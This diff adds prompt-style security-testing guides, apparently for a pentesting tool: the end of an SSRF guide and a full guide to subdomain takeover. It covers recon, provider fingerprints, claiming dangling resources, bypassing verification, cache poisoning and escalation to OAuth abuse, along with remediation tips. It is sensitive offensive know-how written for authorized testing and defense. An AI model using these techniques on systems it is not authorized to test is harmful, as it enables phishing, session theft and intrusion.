+ - Lateral movement into Kubernetes, service meshes, and CI/CD
120
+ - RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
121
+ </impact>
122
+
123
+ <pro_tips>
124
+ 1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
125
+ 2. Test IPv6 and mixed-notation addresses; filters often ignore them.
126
+ 3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
127
+ 4. Redirects are leverage: control both the initial allowlisted host and the next hop.
128
+ 5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
129
+ 6. Use tiny payloads and tight timeouts to map ports with minimal noise.
130
+ 7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
131
+ 8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
132
+ </pro_tips>
133
+
134
+ <remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
135
+ </ssrf_vulnerability_guide>
@@ -0,0 +1,155 @@
1
+ <subdomain_takeover_guide>
2
+ <title>SUBDOMAIN TAKEOVER</title>
3
+
4
+ <critical>Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.</critical>
5
+
6
+ <scope>
7
+ - Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
8
+ - Orphaned NS delegations (child zones with abandoned/expired nameservers)
9
+ - Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
10
+ - CDN “alternate domain” mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
11
+ - Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
12
+ </scope>
13
+
14
+ <methodology>
15
+ 1. Enumerate subdomains comprehensively (web, API, mobile, legacy): aggregate CT logs, passive DNS, and org inventory. De-duplicate and normalize.
16
+ 2. Resolve DNS for all RR types: A/AAAA, CNAME, NS, MX, TXT. Keep CNAME chains; record terminal CNAME targets and provider hints.
17
+ 3. HTTP/TLS probe: capture status, body, length, canonical error text, Server/alt-svc headers, certificate SANs, and CDN headers (Via, X-Served-By).
18
+ 4. Fingerprint providers: map known “unclaimed/missing resource” signatures to candidate services. Maintain a living dictionary.
19
+ 5. Attempt claim (only with authorization): create the missing resource on the provider with the exact required name; bind the custom domain if the provider allows.
20
+ 6. Validate control: serve a minimal unique payload; confirm over HTTPS; optionally obtain a DV certificate (CT log evidence) within legal scope.
21
+ </methodology>
22
+
23
+ <discovery_techniques>
24
+ <enumeration_pipeline>
25
+ - Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs, mobile app assets, and historical DNS
26
+ - Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx responses
27
+ - Record graph: build a CNAME graph and collapse chains to identify external endpoints (e.g., myapp.example.com → foo.azurewebsites.net)
28
+ </enumeration_pipeline>
29
+
30
+ <dns_indicators>
31
+ - CNAME targets ending in provider domains: github.io, amazonaws.com, cloudfront.net, azurewebsites.net, blob.core.windows.net, fastly.net, vercel.app, netlify.app, herokudns.com, trafficmanager.net, azureedge.net, akamaized.net
32
+ - Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers; or to inexistent NS hosts
33
+ - MX to third-party mail providers with decommissioned domains (risk: mail subdomain control or delivery manipulation)
34
+ - TXT/verification artifacts (asuid, _dnsauth, _github-pages-challenge) suggesting previous external bindings
35
+ </dns_indicators>
36
+
37
+ <http_fingerprints>
38
+ - Service-specific unclaimed messages (examples, not exhaustive):
39
+ - GitHub Pages: “There isn’t a GitHub Pages site here.”
40
+ - Fastly: “Fastly error: unknown domain”
41
+ - Heroku: “No such app” or “There’s nothing here, yet.”
42
+ - S3 static site: “NoSuchBucket” / “The specified bucket does not exist”
43
+ - CloudFront (alt domain not configured): 403/400 with “The request could not be satisfied” and no matching distribution
44
+ - Azure App Service: default 404 for azurewebsites.net unless custom-domain verified (look for asuid TXT requirement)
45
+ - Shopify: “Sorry, this shop is currently unavailable”
46
+ - TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain indicates potential mis-binding
47
+ </http_fingerprints>
48
+ </discovery_techniques>
49
+
50
+ <exploitation_techniques>
51
+ <claim_third_party_resource>
52
+ - Create the resource with the exact required name:
53
+ - Storage/hosting: S3 bucket “sub.example.com” (website endpoint) or bucket named after the CNAME target if provider dictates
54
+ - Pages hosting: create repo/site and add the custom domain (when provider does not enforce prior domain verification)
55
+ - Serverless/app hosting: create app/site matching the target hostname, then add custom domain mapping
56
+ - Bind the custom domain: some providers require TXT verification (modern hardened path), others historically allowed binding without proof
57
+ </claim_third_party_resource>
58
+
59
+ <cdn_alternate_domains>
60
+ - Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
61
+ - Upload a TLS cert via provider or use managed cert issuance if allowed; confirm 200 on the subdomain with your content
62
+ </cdn_alternate_domains>
63
+
64
+ <ns_delegation_takeover>
65
+ - If a child zone (e.g., zone.example.com) is delegated to nameservers under an expired domain (ns1.abandoned.tld), register abandoned.tld and host authoritative NS; publish records to control all hosts under the delegated subzone
66
+ - Validate with SOA/NS queries and serve a verification token; then add A/CNAME/MX/TXT as needed
67
+ </ns_delegation_takeover>
68
+
69
+ <mail_surface>
70
+ - If MX points to a decommissioned provider that allowed inbox creation without domain re-verification (historically), a takeover could enable email receipt for that subdomain; modern providers generally require explicit TXT ownership
71
+ </mail_surface>
72
+ </exploitation_techniques>
73
+
74
+ <advanced_techniques>
75
+ <blind_and_cache_channels>
76
+ - CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured; probe with Host header manipulation
77
+ - Cache poisoning: once taken over, exploit cache keys and Vary headers to persist malicious responses at the edge
78
+ </blind_and_cache_channels>
79
+
80
+ <ct_and_tls>
81
+ - Use CT logs to detect unexpected certificate issuance for your subdomain; for PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
82
+ </ct_and_tls>
83
+
84
+ <oauth_and_trust_chains>
85
+ - If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, a takeover elevates impact to account takeover or script injection on trusted origins
86
+ </oauth_and_trust_chains>
87
+
88
+ <provider_edges>
89
+ - Many providers hardened domain binding (TXT verification) but legacy projects or specific products remain weak; verify per-product behavior (CDN vs app hosting vs storage)
90
+ - Multi-tenant providers sometimes accept custom domains at the edge even when backend resource is missing; leverage timing and registration windows
91
+ </provider_edges>
92
+ </advanced_techniques>
93
+
94
+ <bypass_techniques>
95
+ <verification_gaps>
96
+ - Look for providers that accept domain binding prior to TXT verification, or where verification is optional for trial/legacy tiers
97
+ - Race windows: re-claim resource names immediately after victim deletion while DNS still points to provider
98
+ </verification_gaps>
99
+
100
+ <wildcards_and_fallbacks>
101
+ - Wildcard CNAMEs to providers may expose unbounded subdomains; test random hosts to identify service-wide unclaimed behavior
102
+ - Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses from a default origin that is claimable
103
+ </wildcards_and_fallbacks>
104
+ </bypass_techniques>
105
+
106
+ <special_contexts>
107
+ <storage_and_static>
108
+ - S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname; website vs API endpoints differ in claimability and fingerprints
109
+ </storage_and_static>
110
+
111
+ <serverless_and_hosting>
112
+ - GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary; most require TXT now, but historical projects or specific paths may not
113
+ </serverless_and_hosting>
114
+
115
+ <cdn_and_edge>
116
+ - CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs; some products historically allowed alt-domain claims without proof
117
+ </cdn_and_edge>
118
+
119
+ <dns_delegations>
120
+ - Child-zone NS delegations outrank parent records; control of delegated NS yields full control of all hosts below that label
121
+ </dns_delegations>
122
+ </special_contexts>
123
+
124
+ <validation>
125
+ 1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details.
126
+ 2. After claim: serve unique content and verify over HTTPS at the target subdomain.
127
+ 3. Optional: issue a DV certificate (legal scope) and reference CT entry as durable evidence.
128
+ 4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) with minimal PoCs.
129
+ </validation>
130
+
131
+ <false_positives>
132
+ - “Unknown domain” pages that are not claimable due to enforced TXT/ownership checks.
133
+ - Provider-branded default pages for valid, owned resources (not a takeover) versus “unclaimed resource” states
134
+ - Soft 404s from your own infrastructure or catch-all vhosts
135
+ </false_positives>
136
+
137
+ <impact>
138
+ - Content injection under trusted subdomain: phishing, malware delivery, brand damage
139
+ - Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins in CORS/Trusted Types/CSP
140
+ - OAuth/SSO abuse via whitelisted redirect URIs
141
+ - Email delivery manipulation for subdomain (MX/DMARC/SPF interactions in edge cases)
142
+ </impact>
143
+
144
+ <pro_tips>
145
+ 1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims.
146
+ 2. Maintain a current fingerprint corpus; provider messages change frequently—prefer regex families over exact strings.
147
+ 3. Prefer minimal PoCs: static “ownership proof” page and, where allowed, DV cert issuance for auditability.
148
+ 4. Monitor CT for unexpected certs on your subdomains; alert and investigate.
149
+ 5. Eliminate dangling DNS in decommission workflows first; deletion of the app/service must remove or block the DNS target.
150
+ 6. For NS delegations, treat any expired nameserver domain as critical; reassign or remove delegation immediately.
151
+ 7. Use CAA to limit certificate issuance while you triage; it reduces the blast radius for taken-over hosts.
152
+ </pro_tips>
153
+
154
+ <remember>Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.</remember>
155
+ </subdomain_takeover_guide>